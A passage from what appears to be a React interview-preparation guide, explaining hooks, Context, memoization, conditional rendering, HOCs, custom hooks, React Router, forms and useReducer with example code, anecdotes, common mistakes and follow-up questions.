height: window.innerHeight,
});
useEffect(() => {
const handleResize = () => {
setSize({ width: window.innerWidth, height: window.innerHeight });
};
window.addEventListener("resize", handleResize);
return () => window.removeEventListener("resize", handleResize); // cleanup!
}, []); // ← empty array = run once on mount
return <p>{size.width} × {size.height}</p>;
}
// ── Pattern 3: Timer with cleanup ──
function Countdown({ seconds }) {
const [remaining, setRemaining] = useState(seconds);
useEffect(() => {
if (remaining <= 0) return; // no timer needed
const timer = setInterval(() => {
setRemaining(prev => prev - 1);
}, 1000);
return () => clearInterval(timer); // cleanup on unmount or re-run
}, [remaining]);
return <p>{remaining}s remaining</p>;
}
// ── Pattern 4: Document title (no cleanup needed) ──
function PageTitle({ title }) {
useEffect(() => {
document.title = title;
}, [title]);
return null;
}
A real-time notifications panel had a memory leak — the WebSocket subscription in useEffect had no cleanup function. When users navigated away and back 10+ times, 10 duplicate WebSocket connections accumulated, each firing duplicate event handlers. Adding a cleanup return (return () => ws.close()) fixed the leak. Memory usage after 30 minutes of use dropped from 380MB to 95MB.
Candidates put objects or arrays in the dependency array without realizing they trigger infinite re-renders:
function UserList({ filters }) {
const [users, setUsers] = useState([]);
useEffect(() => {
fetch(`/api/users?${new URLSearchParams(filters)}`)
.then(res => res.json())
.then(setUsers);
}, [filters]); // ← filters is a NEW object every render!
// Parent re-renders → new filters object (same values, new reference)
// → useEffect sees "changed" → fetch → setState → re-render → loop!
}// Option 1: Destructure to primitives
function UserList({ role, status }) {
useEffect(() => {
fetch(`/api/users?role=${role}&status=${status}`)
.then(res => res.json())
.then(setUsers);
}, [role, status]); // ← primitives, stable references
}
// Option 2: Memoize in parent
const filters = useMemo(() => ({ role, status }), [role, status]);
<UserList filters={filters} />What is the difference between useEffect and useLayoutEffect? When would you use each?
Prop drilling is when you pass props through multiple intermediate components that don't need the data — just to get it to a deeply nested child. The Context API solves this by creating a "tunnel" that lets any component in the tree access shared data without passing it through every level.
Context has three parts:
React.createContext(defaultValue)— creates a Context object<Context.Provider value={data}>— wraps the tree and provides the datauseContext(Context)— consumes the data in any child component
When to use Context: Theme, locale/i18n, authentication state, feature flags — data that many components need but changes infrequently.
When NOT to use Context: Frequently changing data (like real-time prices or input values). Every context update re-renders all consumers, even if they only use a subset of the data. For high-frequency updates, use state management libraries (Zustand, Jotai) or component composition instead.
// ── Step 1: Create Context ──
import { createContext, useContext, useState } from "react";
const ThemeContext = createContext({
theme: "light",
toggleTheme: () => {},
});
// ── Step 2: Provider — wraps app and provides value ──
function ThemeProvider({ children }) {
const [theme, setTheme] = useState("light");
const toggleTheme = () => {
setTheme(prev => prev === "light" ? "dark" : "light");
};
return (
<ThemeContext.Provider value={{ theme, toggleTheme }}>
{children}
</ThemeContext.Provider>
);
}
// ── Step 3: Consume in any nested component ──
function Navbar() {
const { theme, toggleTheme } = useContext(ThemeContext);
return (
<nav className={`navbar navbar-${theme}`}>
<h1>My App</h1>
<button onClick={toggleTheme}>
{theme === "light" ? "🌙 Dark" : "☀️ Light"}
</button>
</nav>
);
}
function Sidebar() {
const { theme } = useContext(ThemeContext);
return <aside className={`sidebar sidebar-${theme}`}>Sidebar</aside>;
}
// ── App: wrap with Provider ──
function App() {
return (
<ThemeProvider>
<Navbar /> {/* ← accesses theme directly */}
<main>
<Sidebar /> {/* ← accesses theme directly */}
<Content /> {/* ← doesn't need theme? doesn't useContext */}
</main>
</ThemeProvider>
);
}
// No prop drilling! Theme is available everywhere without passing
// through App → main → Sidebar → etc.
// ── Custom hook for cleaner API ──
function useTheme() {
const context = useContext(ThemeContext);
if (!context) {
throw new Error("useTheme must be used within a ThemeProvider");
}
return context;
}
// Usage: const { theme, toggleTheme } = useTheme();
// ── Multiple contexts (common pattern) ──
function App() {
return (
<AuthProvider>
<ThemeProvider>
<LocaleProvider>
<Router />
</LocaleProvider>
</ThemeProvider>
</AuthProvider>
);
}
A SaaS dashboard passed the currentUser object through 8 levels of components (App → Layout → Sidebar → NavMenu → UserSection → Avatar → Dropdown → LogoutButton). When adding a new "role" field to the user, the developer had to update prop types in all 8 components. After introducing AuthContext, any component could call useAuth() directly. Adding new user fields became a 1-file change instead of 8.
Candidates put the entire app state into a single Context, causing unnecessary re-renders everywhere:
// One massive context for everything
const AppContext = createContext();
function AppProvider({ children }) {
const [user, setUser] = useState(null);
const [theme, setTheme] = useState("light");
const [cart, setCart] = useState([]);
const [notifications, setNotifications] = useState([]);
return (
<AppContext.Provider value={{ user, theme, cart, notifications,
setUser, setTheme, setCart, setNotifications }}>
{children}
</AppContext.Provider>
);
}
// Problem: adding an item to cart re-renders EVERY component
// that uses AppContext — even Navbar that only reads theme!// Separate contexts — changes in one don't affect others
<AuthProvider> {/* user, login, logout */}
<ThemeProvider> {/* theme, toggleTheme */}
<CartProvider> {/* cart, addItem, removeItem */}
<App />
</CartProvider>
</ThemeProvider>
</AuthProvider>
// Adding to cart only re-renders CartProvider consumers
// Navbar (theme only) is NOT affectedHow does Context performance compare to Redux or Zustand for global state?
Both useCallback and useMemo are memoization hooks that cache values between renders to avoid unnecessary recalculations or re-renders.
useMemo caches the return value of a function: useMemo(() => expensiveCalc(data), [data]). It re-computes only when dependencies change.
useCallback caches the function itself: useCallback((a) => a + b, [b]). It returns the same function reference between renders as long as dependencies don't change.
They're actually related: useCallback(fn, deps) is equivalent to useMemo(() => fn, deps).
When to use them:
- useMemo: Expensive calculations (sorting/filtering large arrays, complex transformations)
- useCallback: Passing callbacks to memoized children (
React.memo) — prevents the child from re-rendering because the function reference didn't change
Don't overuse them. Memoization has a cost (memory + comparison overhead). Only memoize when profiling shows a real performance issue or when passing callbacks to React.memo wrapped children.
// ── useMemo: cache expensive computation ──
import { useState, useMemo, useCallback } from "react";
function EmployeeDirectory({ employees }) {
const [search, setSearch] = useState("");
const [sortBy, setSortBy] = useState("name");
const [theme, setTheme] = useState("light");
// ✅ useMemo — recalculates ONLY when employees, search, or sortBy change
// Changing theme does NOT re-filter/re-sort the 10,000 employee list
const filteredEmployees = useMemo(() => {
console.log("Filtering and sorting..."); // see when it runs
return employees
.filter(emp =>
emp.name.toLowerCase().includes(search.toLowerCase()) ||
emp.department.toLowerCase().includes(search.toLowerCase())
)
.sort((a, b) => a[sortBy].localeCompare(b[sortBy]));
}, [employees, search, sortBy]);
// ✅ useCallback — same function reference between renders
// Prevents EmployeeCard from re-rendering when theme changes
const handlePromote = useCallback((empId) => {
fetch(`/api/employees/${empId}/promote`, { method: "POST" })
.then(res => res.json())
.then(data => console.log("Promoted:", data));
}, []); // no dependencies — function doesn't use any reactive values
return (
<div className={`directory ${theme}`}>
<input
value={search}
onChange={e => setSearch(e.target.value)}
placeholder="Search employees..."
/>
<button onClick={() => setTheme(t => t === "light" ? "dark" : "light")}>
Toggle Theme
</button>
<p>{filteredEmployees.length} results</p>
{filteredEmployees.map(emp => (
<EmployeeCard
key={emp.id}
employee={emp}
onPromote={handlePromote} // ← stable reference
/>
))}
</div>
);
}
// ── React.memo: only re-renders if props change ──
const EmployeeCard = React.memo(function EmployeeCard({ employee, onPromote }) {
console.log("Rendering:", employee.name);
return (
<div className="emp-card">
<h3>{employee.name}</h3>
<p>{employee.department}</p>
<button onClick={() => onPromote(employee.id)}>Promote</button>
</div>
);
});
// Without useCallback: onPromote is a new function every render →
// React.memo sees "props changed" → re-renders ALL 10,000 cards
// With useCallback: onPromote is the same reference →
// React.memo sees "props unchanged" → skips re-render ✅
// ── Summary ──
// useMemo(() => value, [deps]) → caches the VALUE
// useCallback(fn, [deps]) → caches the FUNCTION
// useCallback(fn, deps) === useMemo(() => fn, deps)
A data analytics dashboard rendered a table with 50,000 rows. Without useMemo, every keystroke in the search box re-sorted all 50K rows — taking 800ms and making typing laggy. Adding useMemo to cache the sorted/filtered result reduced re-computation to only when the search query or data actually changed. Typing latency dropped from 800ms to 2ms. They also wrapped each row component with React.memo + useCallback for click handlers, reducing re-renders from 50K to ~20 per keystroke.
Candidates use useCallback/useMemo everywhere, even when there's no performance benefit:
function SimpleForm() {
const [name, setName] = useState("");
// Useless useCallback — no child component is memoized with React.memo
const handleChange = useCallback((e) => {
setName(e.target.value);
}, []);
// Useless useMemo — string concatenation is cheap
const greeting = useMemo(() => `Hello, ${name}!`, [name]);
return <input value={name} onChange={handleChange} />;
// The memoization overhead (storing, comparing deps) is MORE
// expensive than just recreating the function/string
}function SimpleForm() {
const [name, setName] = useState("");
const handleChange = (e) => setName(e.target.value); // just recreate — it's free
const greeting = `Hello, ${name}!`; // compute inline — it's instant
return <input value={name} onChange={handleChange} />;
}
// Rule: Profile first, memoize second.
// useCallback matters when passing to React.memo children
// useMemo matters when computation takes > 1msWhat is React.memo and how does it work with useCallback to prevent re-renders?
Conditional rendering in React means showing different UI based on conditions — just like JavaScript if statements, but inside JSX. Since JSX is JavaScript expressions, you use JS operators to conditionally include elements.
The main patterns:
- Ternary operator:
{isLoggedIn ? <Dashboard /> : <Login />}— when you have both if and else cases - Logical AND (
&&):{hasNotifications && <Badge count={5} />}— when you only have the "if" case (render or nothing) - Early return:
if (loading) return <Spinner />;— for guard clauses at the top of a component - Variables: Assign JSX to a variable based on conditions, then render the variable
- IIFE or switch: For multiple conditions (though a mapping object is cleaner)
Gotcha with &&: JavaScript's && returns the first falsy value. If the left side is 0, it renders the string "0" on screen instead of nothing. Always coerce to boolean: {items.length > 0 && ...} or {!!count && ...}.
// ── Pattern 1: Ternary — if/else ──
function AuthButton({ isLoggedIn, onLogin, onLogout }) {
return isLoggedIn
? <button onClick={onLogout}>Logout</button>
: <button onClick={onLogin}>Login</button>;
}
// ── Pattern 2: && — render or nothing ──
function Notifications({ messages }) {
return (
<div>
<h2>Inbox</h2>
{messages.length > 0 && (
<span className="badge">{messages.length} new</span>
)}
{/* ⚠️ WRONG: {messages.length && <Badge />}
If length is 0, it renders "0" on screen! */}
</div>
);
}
// ── Pattern 3: Early return — guard clauses ──
function UserProfile({ user, loading, error }) {
if (loading) return <Skeleton />;
if (error) return <ErrorMessage message={error} />;
if (!user) return <p>No user found</p>;
// Happy path — only reached if all checks pass
return (
<div className="profile">
<img src={user.avatar} alt={user.name} />
<h2>{user.name}</h2>
<p>{user.bio}</p>
</div>
);
}
// ── Pattern 4: Object map — cleaner than switch ──
function StatusIcon({ status }) {
const icons = {
pending: <span className="icon">⏳ Pending</span>,
active: <span className="icon">✅ Active</span>,
inactive: <span className="icon">⚫ Inactive</span>,
banned: <span className="icon">🚫 Banned</span>,
};
return icons[status] || <span className="icon">❓ Unknown</span>;
}
// ── Pattern 5: Rendering lists conditionally ──
function Dashboard({ user }) {
return (
<div>
<h1>Welcome, {user.name}</h1>
{/* Show admin panel only for admins */}
{user.role === "admin" && <AdminPanel />}
{/* Different content based on subscription */}
{user.plan === "free" ? (
<UpgradeBanner />
) : (
<PremiumFeatures plan={user.plan} />
)}
{/* Nested conditions — use early return or extract component */}
{user.notifications.length > 0 ? (
<NotificationList items={user.notifications} />
) : (
<p>No new notifications</p>
)}
</div>
);
}
A multi-step onboarding wizard initially used deeply nested ternaries for 6 steps — making the JSX unreadable. The team refactored to an object map pattern (const steps = { 1: <Step1 />, 2: <Step2 />, ... }) and rendered {steps[currentStep]}. Adding a new step went from a 20-minute "figure out the nesting" task to a 2-minute "add one entry" task.
Candidates use && with a number that can be 0, accidentally rendering "0" on screen:
function Cart({ items }) {
return (
<div>
{items.length && <p>{items.length} items in cart</p>}
</div>
);
}
// When items = [] → items.length is 0 (falsy)
// && returns 0 → React renders "0" on screen!
// User sees a random "0" in the UIfunction Cart({ items }) {
return (
<div>
{items.length > 0 && <p>{items.length} items in cart</p>}
{/* or: {!!items.length && ...} */}
{/* or: {Boolean(items.length) && ...} */}
</div>
);
}
// items.length > 0 returns false (not 0) → nothing rendered ✅How do you conditionally apply CSS classes or inline styles in React?
A Higher-Order Component (HOC) is a function that takes a component and returns a new enhanced component. It's a pattern — not a React API — for reusing component logic.
The signature is: const EnhancedComponent = withSomething(WrappedComponent).
HOCs were the primary way to share stateful logic before hooks (React 16.8). Common examples: withRouter (React Router v5), connect (Redux), withAuth, withLoading.
How it works: The HOC wraps the original component, adds extra props or behavior, and renders the original component with those props.
Modern alternative: Custom hooks have largely replaced HOCs because they are simpler, don't create extra wrapper elements in the component tree, and are easier to compose. However, HOCs are still used in some cases: adding wrappers (error boundaries, providers), and legacy codebases that haven't migrated.
Rules: Don't mutate the wrapped component. Pass through unrelated props. Use a display name for debugging.
// ── HOC Pattern: withLoading ──
function withLoading(WrappedComponent) {
// Return a new component
return function WithLoadingComponent({ isLoading, ...rest }) {
if (isLoading) {
return (
<div className="loading-wrapper">
<div className="spinner" />
<p>Loading...</p>
</div>
);
}
return <WrappedComponent {...rest} />; // ← pass through all other props
};
}
// Usage:
const UserListWithLoading = withLoading(UserList);
// <UserListWithLoading isLoading={true} users={users} />
// ── HOC Pattern: withAuth ──
function withAuth(WrappedComponent) {
return function WithAuthComponent(props) {
const { user, loading } = useAuth();
if (loading) return <Spinner />;
if (!user) return <Navigate to="/login" />;
return <WrappedComponent {...props} user={user} />;
};
}
const ProtectedDashboard = withAuth(Dashboard);
// <ProtectedDashboard /> — automatically redirects if not logged in
// ── Modern alternative: Custom Hook (preferred) ──
// Instead of HOC:
// const EnhancedComponent = withWindowSize(MyComponent);
// Use a custom hook:
function useWindowSize() {
const [size, setSize] = useState({
width: window.innerWidth,
height: window.innerHeight,
});
useEffect(() => {
const handleResize = () => {
setSize({ width: window.innerWidth, height: window.innerHeight });
};
window.addEventListener("resize", handleResize);
return () => window.removeEventListener("resize", handleResize);
}, []);
return size;
}
// Usage — no wrapper component needed:
function MyComponent() {
const { width, height } = useWindowSize();
return <p>Window: {width} × {height}</p>;
}
// ── HOC Composition (wrapper hell) ──
// This is why hooks are preferred:
// const Enhanced = withRouter(withAuth(withTheme(withLoading(MyComponent))));
// vs hooks:
// function MyComponent() {
// const router = useRouter();
// const auth = useAuth();
// const theme = useTheme();
// const loading = useLoading();
// }
A React app had 12 HOCs stacked on the main dashboard component: withRouter(withAuth(withTheme(withAnalytics(withErrorBoundary(...))))). The React DevTools showed 12 wrapper components around every real component, making debugging painful. After migrating to custom hooks, the wrapper depth dropped from 12 to 1 (just the error boundary), and the dev team could trace state changes 5x faster in DevTools.
Candidates create HOCs inside render, causing the wrapped component to remount every render:
function App() {
// WRONG! Creates a new component type every render
const EnhancedList = withLoading(UserList);
return <EnhancedList isLoading={loading} users={users} />;
}
// Every render: new EnhancedList type → React unmounts old → mounts new
// All state inside UserList is lost on every re-render!// Create ONCE at module level
const EnhancedList = withLoading(UserList);
function App() {
return <EnhancedList isLoading={loading} users={users} />;
}
// Same component type across renders → React updates, doesn't remountWhat are render props and how do they compare to HOCs and hooks for sharing logic?
A custom hook is a JavaScript function whose name starts with use and that calls other hooks internally. It lets you extract and reuse stateful logic across multiple components without changing the component hierarchy.
Custom hooks follow the same rules as built-in hooks: they can only be called at the top level of a component or another hook, never inside conditions, loops, or nested functions.
The key insight: a custom hook shares logic, not state. If two components call useCounter(), each gets its own independent count state. The hook code is shared, but each call creates fresh state instances.
When to create a custom hook:
- Two or more components share identical stateful logic (fetch, form, timer, etc.)
- A component has complex effect logic that can be named and tested independently
- You want to abstract away a third-party library (e.g.,
useLocalStoragewrappinglocalStorage)
Custom hooks can accept parameters and return anything — values, setters, objects, arrays, or tuples.
// ── Custom Hook: useLocalStorage ──
import { useState, useEffect } from "react";
function useLocalStorage(key, initialValue) {
// Initialize from localStorage or fallback
const [value, setValue] = useState(() => {
try {
const stored = localStorage.getItem(key);
return stored !== null ? JSON.parse(stored) : initialValue;
} catch {
return initialValue;
}
});
// Sync to localStorage whenever value changes
useEffect(() => {
try {
localStorage.setItem(key, JSON.stringify(value));
} catch (err) {
console.error("Failed to save to localStorage:", err);
}
}, [key, value]);
return [value, setValue]; // same API as useState
}
// Usage — any component can persist state:
function Settings() {
const [theme, setTheme] = useLocalStorage("theme", "light");
const [fontSize, setFontSize] = useLocalStorage("fontSize", 16);
// State survives page refresh!
return (
<div>
<button onClick={() => setTheme(t => t === "light" ? "dark" : "light")}>
Theme: {theme}
</button>
<input type="range" min={12} max={24}
value={fontSize} onChange={e => setFontSize(Number(e.target.value))} />
</div>
);
}
// ── Custom Hook: useFetch ──
function useFetch(url) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
let cancelled = false;
setLoading(true);
setError(null);
fetch(url)
.then(res => {
if (!res.ok) throw new Error(`HTTP ${res.status}`);
return res.json();
})
.then(json => { if (!cancelled) { setData(json); setLoading(false); } })
.catch(err => { if (!cancelled) { setError(err.message); setLoading(false); } });
return () => { cancelled = true; };
}, [url]);
return { data, loading, error };
}
// Usage:
function UserProfile({ userId }) {
const { data: user, loading, error } = useFetch(`/api/users/${userId}`);
if (loading) return <Spinner />;
if (error) return <p>Error: {error}</p>;
return <h2>{user.name}</h2>;
}
// ── Custom Hook: useDebounce ──
function useDebounce(value, delay = 300) {
const [debounced, setDebounced] = useState(value);
useEffect(() => {
const timer = setTimeout(() => setDebounced(value), delay);
return () => clearTimeout(timer);
}, [value, delay]);
return debounced;
}
// Usage:
function Search() {
const [query, setQuery] = useState("");
const debouncedQuery = useDebounce(query, 500);
const { data } = useFetch(
debouncedQuery ? `/api/search?q=${debouncedQuery}` : null
);
return <input value={query} onChange={e => setQuery(e.target.value)} />;
}
A SaaS app had identical data-fetching logic (loading state, error handling, abort on unmount) copy-pasted across 45 components. A senior engineer extracted it into a useFetch custom hook — replacing 45 duplicated effect blocks with 45 one-line hook calls. When they later needed to add retry logic and caching, they changed the hook once and all 45 components got the improvement.
Candidates think custom hooks share state between components that call them:
// "If two components call useCounter, they share the same count"
function ComponentA() {
const { count } = useCounter(); // count = 5
}
function ComponentB() {
const { count } = useCounter(); // "also 5 because same hook"
}
// WRONG! Each call creates independent state.
// ComponentA and ComponentB have SEPARATE counts.// Custom hooks share LOGIC, not STATE
function ComponentA() {
const { count } = useCounter(); // own count: 5
}
function ComponentB() {
const { count } = useCounter(); // own count: 0 (independent!)
}
// To share state: lift it to a parent, use Context, or ZustandWhat are the rules of hooks and why do they exist?
React Router is the standard routing library for React SPAs. It enables client-side routing — navigating between "pages" without a full browser reload by mapping URL paths to React components.
React Router v6 (current) uses these core concepts:
<BrowserRouter>— wraps the app and uses the HTML5 History API for clean URLs<Routes>— container that matches the current URL against its child<Route>elements<Route path="..." element={...}>— maps a URL pattern to a component<Link to="...">— navigates without page reload (replaces<a href>)<Outlet />— renders child routes inside a layout (nested routing)useNavigate()— programmatic navigation hookuseParams()— reads URL parameters (/users/:id)useSearchParams()— reads/writes query strings (?page=2)
Nested routes are a key feature — you define a parent layout route with an <Outlet />, and child routes render inside that layout. This is powerful for dashboards with shared sidebars/navbars.
// ── React Router v6 Setup ──
import { BrowserRouter, Routes, Route, Link, Outlet,
useParams, useNavigate, useSearchParams, Navigate } from "react-router-dom";
function App() {
return (
<BrowserRouter>
<Routes>
{/* Public routes */}
<Route path="/" element={<Layout />}>
<Route index element={<Home />} />
<Route path="about" element={<About />} />
<Route path="products" element={<Products />} />
<Route path="products/:productId" element={<ProductDetail />} />
{/* Protected routes — nested under auth check */}
<Route element={<ProtectedRoute />}>
<Route path="dashboard" element={<Dashboard />} />
<Route path="settings" element={<Settings />} />
</Route>
{/* 404 catch-all */}
<Route path="*" element={<NotFound />} />
</Route>
</Routes>
</BrowserRouter>
);
}
// ── Layout with shared navbar ──
function Layout() {
return (
<div>
<nav>
<Link to="/">Home</Link>
<Link to="/about">About</Link>
<Link to="/products">Products</Link>
<Link to="/dashboard">Dashboard</Link>
</nav>
<main>
<Outlet /> {/* ← Child routes render here */}
</main>
</div>
);
}
// ── URL Parameters ──
function ProductDetail() {
const { productId } = useParams(); // reads :productId from URL
const { data: product } = useFetch(`/api/products/${productId}`);
return <h2>{product?.name}</h2>;
}
// ── Programmatic Navigation ──
function LoginForm() {
const navigate = useNavigate();
const handleLogin = async (credentials) => {
await login(credentials);
navigate("/dashboard", { replace: true }); // replace: can't go back to login
};
return <form onSubmit={handleLogin}>...</form>;
}
// ── Protected Route Pattern ──
function ProtectedRoute() {
const { user, loading } = useAuth();
if (loading) return <Spinner />;
if (!user) return <Navigate to="/login" replace />;
return <Outlet />; // render child routes if authenticated
}
// ── Search Params ──
function Products() {
const [searchParams, setSearchParams] = useSearchParams();
const page = Number(searchParams.get("page")) || 1;
const category = searchParams.get("category") || "all";
return (
<div>
<button onClick={() => setSearchParams({ page: page + 1, category })}>
Next Page
</button>
{/* URL becomes /products?page=2&category=all */}
</div>
);
}
An e-commerce site used window.location for navigation — every "page" change triggered a full reload, re-initializing React, fetching the bundle, and resetting the cart state. Migrating to React Router reduced navigation time from 1.8s to 120ms (no reload), preserved the cart across pages, and enabled instant back/forward with the browser buttons. Page views per session increased by 34%.
Candidates use anchor tags instead of Link, causing full page reloads:
function Navbar() {
return (
<nav>
<a href="/about">About</a> {/* Full reload! */}
<a href="/products">Products</a> {/* Full reload! */}
</nav>
);
}
// Every click: browser reloads page → React re-mounts →
// all state lost → loading spinner → slow navigationimport { Link } from "react-router-dom";
function Navbar() {
return (
<nav>
<Link to="/about">About</Link> {/* Client-side nav ✅ */}
<Link to="/products">Products</Link> {/* Client-side nav ✅ */}
<a href="https://docs.example.com">Docs</a> {/* External = <a> is fine */}
</nav>
);
}How do you implement lazy loading routes with React.lazy and Suspense?
useRef returns a mutable object { current: value } that persists across renders without causing re-renders when changed. It has two main use cases:
- DOM references: Access a DOM element directly — for focus management, measuring dimensions, scrolling, or integrating with non-React libraries (e.g., a canvas, video player, or chart library)
- Mutable values: Store values that need to persist between renders but should NOT trigger re-renders — like timer IDs, previous prop values, render counters, or flags
State vs Ref:
useState: Changing it triggers a re-render. Use for data the UI needs to display.useRef: Changing it does NOT trigger a re-render. Use for values the UI doesn't need to display but your logic needs to remember.
The ref object itself is stable — React gives you the same object on every render. Only .current changes.
// ── Use Case 1: DOM access — focus management ──
import { useRef, useEffect, useState } from "react";
function SearchBar() {
const inputRef = useRef(null);
useEffect(() => {
inputRef.current.focus(); // auto-focus on mount
}, []);
const handleClear = () => {
inputRef.current.value = "";
inputRef.current.focus(); // re-focus after clearing
};
return (
<div>
<input ref={inputRef} placeholder="Search..." />
<button onClick={handleClear}>Clear</button>
</div>
);
}
// ── Use Case 2: Mutable value — timer ID ──
function Stopwatch() {
const [seconds, setSeconds] = useState(0);
const [running, setRunning] = useState(false);
const intervalRef = useRef(null); // ← timer ID, no re-render needed
const start = () => {
if (running) return;
setRunning(true);
intervalRef.current = setInterval(() => {
setSeconds(prev => prev + 1);
}, 1000);
};
const stop = () => {
clearInterval(intervalRef.current);
setRunning(false);
};
const reset = () => {
clearInterval(intervalRef.current);
setRunning(false);
setSeconds(0);
};
// Cleanup on unmount
useEffect(() => {
return () => clearInterval(intervalRef.current);
}, []);
return (
<div>
<h2>{seconds}s</h2>
<button onClick={start}>Start</button>
<button onClick={stop}>Stop</button>
<button onClick={reset}>Reset</button>
</div>
);
}
// ── Use Case 3: Previous value ──
function usePrevious(value) {
const ref = useRef();
useEffect(() => {
ref.current = value;
}, [value]);
return ref.current; // returns value from PREVIOUS render
}
function PriceDisplay({ price }) {
const prevPrice = usePrevious(price);
const trend = price > prevPrice ? "📈" : price < prevPrice ? "📉" : "➡️";
return <p>{trend} ₹{price}</p>;
}
// ── Use Case 4: Counting renders (without causing more renders) ──
function DebugComponent() {
const renderCount = useRef(0);
renderCount.current += 1; // mutate ref = no re-render
console.log(`Rendered ${renderCount.current} times`);
// If you used useState here, incrementing would cause
// another render → increment → render → INFINITE LOOP
}
A video conferencing app needed to store a WebRTC peer connection object across renders. Using useState caused the connection to be recreated on every re-render because React serializes state changes. Switching to useRef stored the PeerConnection object without triggering re-renders, and the connection persisted stably. This fixed intermittent video freezes that happened during chat message updates.
Candidates try to use ref.current in JSX and expect it to update the UI:
function Counter() {
const countRef = useRef(0);
const increment = () => {
countRef.current += 1;
console.log(countRef.current); // logs 1, 2, 3...
};
// UI NEVER updates! Ref changes don't cause re-render
return <p>Count: {countRef.current}</p>; // always shows 0
}function Counter() {
const [count, setCount] = useState(0); // UI value → state
const renderCount = useRef(0); // non-UI value → ref
renderCount.current += 1;
return (
<div>
<p>Count: {count}</p> {/* updates on state change */}
<button onClick={() => setCount(c => c + 1)}>+1</button>
{/* renderCount tracks renders silently */}
</div>
);
}What is forwardRef and when do you need to forward refs to child components?
React handles forms using controlled components where form element values are driven by React state. The pattern is: bind the value prop to state and update state in onChange.
Form handling patterns:
- Single fields: One
useStateper input - Multiple fields: One
useStatewith an object, using computed property names in the handler - Complex forms:
useReducerfor forms with many interdependent fields - Form libraries: React Hook Form or Formik for validation, error messages, touched state, and submission handling
Validation strategies:
- On change: Validate every keystroke — immediate feedback but noisy
- On blur: Validate when user leaves a field — less noisy, good UX
- On submit: Validate all fields at once — simplest but delayed feedback
- Hybrid: Validate on blur, re-validate on change after first error (best UX)
Always call e.preventDefault() in onSubmit to prevent the default full-page form submission.
// ── Pattern: Multi-field form with validation ──
import { useState } from "react";
function ContactForm() {
const [form, setForm] = useState({
name: "", email: "", message: "",
});
const [errors, setErrors] = useState({});
const [touched, setTouched] = useState({});
const [submitting, setSubmitting] = useState(false);
// Single handler for all fields (computed property name)
const handleChange = (e) => {
const { name, value } = e.target;
setForm(prev => ({ ...prev, [name]: value }));
// Re-validate on change after field was touched
if (touched[name]) {
setErrors(prev => ({ ...prev, [name]: validate(name, value) }));
}
};
// Mark field as touched on blur, validate
const handleBlur = (e) => {
const { name, value } = e.target;
setTouched(prev => ({ ...prev, [name]: true }));
setErrors(prev => ({ ...prev, [name]: validate(name, value) }));
};
// Field-level validation
const validate = (name, value) => {
switch (name) {
case "name":
return value.trim().length < 2 ? "Name must be at least 2 characters" : "";
case "email":
return !/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? "Invalid email address" : "";
case "message":
return value.trim().length < 10 ? "Message must be at least 10 characters" : "";
default: return "";
}
};
// Full form validation on submit
const validateAll = () => {
const newErrors = {};
Object.keys(form).forEach(key => {
newErrors[key] = validate(key, form[key]);
});
setErrors(newErrors);
setTouched({ name: true, email: true, message: true });
return Object.values(newErrors).every(e => !e);
};
const handleSubmit = async (e) => {
e.preventDefault(); // ← prevent page reload!
if (!validateAll()) return;
setSubmitting(true);
try {
await fetch("/api/contact", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(form),
});
alert("Message sent!");
setForm({ name: "", email: "", message: "" });
setTouched({});
} catch (err) {
setErrors({ submit: "Failed to send. Please try again." });
} finally {
setSubmitting(false);
}
};
return (
<form onSubmit={handleSubmit} noValidate>
<div>
<label htmlFor="name">Name</label>
<input id="name" name="name"
value={form.name} onChange={handleChange} onBlur={handleBlur}
className={errors.name ? "input-error" : ""} />
{touched.name && errors.name && <span className="error">{errors.name}</span>}
</div>
<div>
<label htmlFor="email">Email</label>
<input id="email" name="email" type="email"
value={form.email} onChange={handleChange} onBlur={handleBlur} />
{touched.email && errors.email && <span className="error">{errors.email}</span>}
</div>
<div>
<label htmlFor="message">Message</label>
<textarea id="message" name="message" rows={4}
value={form.message} onChange={handleChange} onBlur={handleBlur} />
{touched.message && errors.message && <span className="error">{errors.message}</span>}
</div>
{errors.submit && <p className="error">{errors.submit}</p>}
<button type="submit" disabled={submitting}>
{submitting ? "Sending..." : "Send Message"}
</button>
</form>
);
}
A job application form with 15 fields used individual useState for each field — 15 state variables, 15 change handlers. After switching to a single useState with an object and one computed-property handler, the component shrank from 220 lines to 90. Later, they adopted React Hook Form which eliminated all manual state management, reducing the form to 45 lines while adding built-in validation and error display.
Candidates forget e.preventDefault() and the form triggers a full page reload:
function LoginForm() {
const handleSubmit = () => {
// No e.preventDefault()!
fetch("/api/login", { method: "POST", body: JSON.stringify(form) });
};
return (
<form onSubmit={handleSubmit}>
<input name="email" />
<button type="submit">Login</button>
</form>
);
// Clicking submit: browser sends GET request to current URL
// Page reloads → React app re-mounts → form state lost
}function LoginForm() {
const handleSubmit = (e) => {
e.preventDefault(); // ← stops browser default form behavior
fetch("/api/login", { method: "POST", body: JSON.stringify(form) });
};
return (
<form onSubmit={handleSubmit}>
<input name="email" />
<button type="submit">Login</button>
</form>
);
}How does React Hook Form differ from controlled components, and when would you use it?
useReducer is an alternative to useState for managing complex state logic. It follows the Redux pattern: you dispatch actions to a reducer function that computes the next state.
Signature: const [state, dispatch] = useReducer(reducer, initialState)
The reducer is a pure function: (currentState, action) => newState. It takes the current state and an action object, and returns the new state. It must not mutate the existing state — always return a new object.
When to use useReducer over useState:
- State has multiple sub-values that change together (e.g., form with name, email, errors, loading)
- Next state depends on previous state in complex ways
- Multiple event handlers update the same state differently
- State transitions follow clear business rules (e.g., order: pending → processing → shipped → delivered)
When useState is better: Simple, independent state values (a toggle, a counter, a single input).
useReducer also pairs well with Context — you can pass dispatch down via context for a lightweight Redux alternative.
// ── useReducer: Shopping cart with complex state logic ──
import { useReducer } from "react";
// Define initial state
const initialState = {
items: [],
coupon: null,
discount: 0,
status: "idle", // idle | processing | success | error
error: null,
};
// Reducer: pure function (state, action) → newState
function cartReducer(state, action) {
switch (action.type) {
case "ADD_ITEM": {
const existing = state.items.find(i => i.id === action.payload.id);
if (existing) {
return {
...state,
items: state.items.map(i =>
i.id === action.payload.id
? { ...i, qty: i.qty + 1 }
: i
),
};
}
return { ...state, items: [...state.items, { ...action.payload, qty: 1 }] };
}
case "REMOVE_ITEM":
return { ...state, items: state.items.filter(i => i.id !== action.payload) };
case "UPDATE_QTY":
return {
...state,
items: state.items.map(i =>
i.id === action.payload.id
? { ...i, qty: Math.max(1, action.payload.qty) }
